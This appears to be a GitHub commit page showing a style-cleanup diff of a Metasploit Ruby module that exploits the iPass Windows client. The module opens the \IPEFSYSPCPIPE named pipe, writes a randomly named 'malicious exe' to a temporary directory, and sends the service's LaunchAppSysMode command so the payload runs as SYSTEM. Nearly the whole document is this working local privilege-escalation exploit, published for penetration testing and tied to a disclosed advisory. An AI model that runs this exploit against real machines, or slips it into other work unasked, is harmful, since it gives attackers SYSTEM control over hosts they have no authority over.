Skip to content

Commit b4de3ce

Browse files
committed
Do minor cleanup
1 parent b0e730d commit b4de3ce

File tree

1 file changed

+53
-51
lines changed

1 file changed

+53
-51
lines changed

modules/exploits/windows/local/ipass_local_privesc.rb

Lines changed: 53 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -19,16 +19,15 @@ def initialize(info={})
1919
The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact
2020
with the iPass service. The service provides a LaunchAppSysMode command which
2121
allows to execute arbitrary commands as SYSTEM.
22-
2322
},
2423
'License' => MSF_LICENSE,
2524
'Author' =>
2625
[
27-
'h0ng10', # Vulnerability discovery, metasploit module
26+
'h0ng10' # Vulnerability discovery, metasploit module
2827
],
2928
'Arch' => ARCH_X86,
3029
'Platform' => 'win',
31-
'SessionTypes' => [ 'meterpreter' ],
30+
'SessionTypes' => ['meterpreter'],
3231
'DefaultOptions' =>
3332
{
3433
'EXITFUNC' => 'thread',
@@ -44,116 +43,116 @@ def initialize(info={})
4443
},
4544
'References' =>
4645
[
47-
[ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt' ],
46+
['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt']
4847
],
4948
'DisclosureDate' => 'Mar 12 2015',
5049
'DefaultTarget' => 0
5150
}))
5251

5352
register_options([
54-
OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ])
53+
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)'])
5554
], self.class)
5655

5756
end
5857

5958
def check
60-
os = sysinfo["OS"]
61-
if os =~ /windows/i
62-
svc = service_info 'iPlatformService'
63-
if svc and svc[:display] =~ /iPlatformService/
64-
vprint_good("Found service '#{svc[:display]}'")
65-
begin
66-
if is_running?
67-
vprint_good("Service is running")
68-
else
69-
vprint_error("Service is not running!")
70-
end
71-
rescue RuntimeError => e
72-
vprint_error("Unable to retrieve service status")
73-
return Exploit::CheckCode::Unknown
74-
end
75-
76-
vprint_good("Opening named pipe...")
77-
handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
78-
79-
if handle.nil?
80-
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
81-
else
82-
vprint_good("\\\\.\\pipe\\IPEFSYSPCPIPE found!")
83-
session.railgun.kernel32.CloseHandle(handle)
84-
end
85-
86-
return Exploit::CheckCode::Vulnerable
59+
os = sysinfo['OS']
60+
61+
unless os =~ /windows/i
62+
return Exploit::CheckCode::Safe
63+
end
8764

65+
svc = service_info('iPlatformService')
66+
if svc && svc[:display] =~ /iPlatformService/
67+
vprint_good("Found service '#{svc[:display]}'")
68+
if is_running?
69+
vprint_good('Service is running')
8870
else
71+
vprint_error('Service is not running!')
72+
end
73+
74+
vprint_good('Opening named pipe...')
75+
handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')
76+
77+
if handle.nil?
78+
vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
8979
return Exploit::CheckCode::Safe
80+
else
81+
vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!')
82+
session.railgun.kernel32.CloseHandle(handle)
9083
end
84+
85+
return Exploit::CheckCode::Vulnerable
86+
else
87+
return Exploit::CheckCode::Safe
9188
end
9289
end
9390

9491

9592
def open_named_pipe(pipe)
9693
invalid_handle_value = 0xFFFFFFFF
9794

98-
r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)
95+
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
9996
handle = r['return']
10097

10198
return nil if handle == invalid_handle_value
10299

103-
return handle
100+
handle
104101
end
105102

106103
def write_named_pipe(handle, command)
107-
108104
buffer = Rex::Text.to_unicode(command)
109105
w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil)
110106

111107
if w['return'] == false
112-
print_error("The was an error writing to pipe, check permissions")
113-
return nil
108+
print_error('The was an error writing to pipe, check permissions')
109+
return false
114110
end
111+
112+
true
115113
end
116114

117115

118116
def is_running?
119117
begin
120118
status = service_status('iPlatformService')
121-
return (status and status[:state] == 4)
122119
rescue RuntimeError => e
123-
print_error("Unable to retrieve service status")
120+
print_error('Unable to retrieve service status')
124121
return false
125122
end
123+
124+
return status && status[:state] == 4
126125
end
127126

128127
def exploit
129128
if is_system?
130-
fail_with(Exploit::Failure::None, 'Session is already elevated')
129+
fail_with(Failure::NoTarget, 'Session is already elevated')
131130
end
132131

133132
handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
134133

135134
if handle.nil?
136-
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
135+
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
137136
else
138-
print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
137+
print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
139138
end
140139

141-
if datastore["WritableDir"] and not datastore["WritableDir"].empty?
142-
temp_dir = datastore["WritableDir"]
140+
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
141+
temp_dir = datastore['WritableDir']
143142
else
144-
temp_dir = client.sys.config.getenv('TEMP')
143+
temp_dir = client.sys.config.getenv('TEMP')
145144
end
146145

147146
print_status("Using #{temp_dir} to drop malicious exe")
148147

149148
begin
150-
cd(temp_dir)
149+
cd(temp_dir)
151150
rescue Rex::Post::Meterpreter::RequestError
152151
session.railgun.kernel32.CloseHandle(handle)
153152
fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
154153
end
155154

156-
print_status("Writing malicious exe to remote filesystem")
155+
print_status('Writing malicious exe to remote filesystem')
157156
write_path = pwd
158157
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
159158

@@ -162,18 +161,21 @@ def exploit
162161
register_file_for_cleanup("#{write_path}\\#{exe_name}")
163162
rescue Rex::Post::Meterpreter::RequestError
164163
session.railgun.kernel32.CloseHandle(handle)
165-
fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}")
164+
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
166165
end
167166

168-
print_status("Sending LauchAppSysMode command")
167+
print_status('Sending LauchAppSysMode command')
169168

170169
begin
171-
write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;")
170+
write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;")
172171
rescue Rex::Post::Meterpreter::RequestError
173172
session.railgun.kernel32.CloseHandle(handle)
174-
fail_with(Failure::Config, "Failed to write to pipe")
173+
fail_with(Failure::Unknown, 'Failed to write to pipe')
175174
end
176175

176+
unless write_res
177+
fail_with(Failure::Unknown, 'Failed to write to pipe')
178+
end
177179
end
178180

179181
end

0 commit comments

Comments
 (0)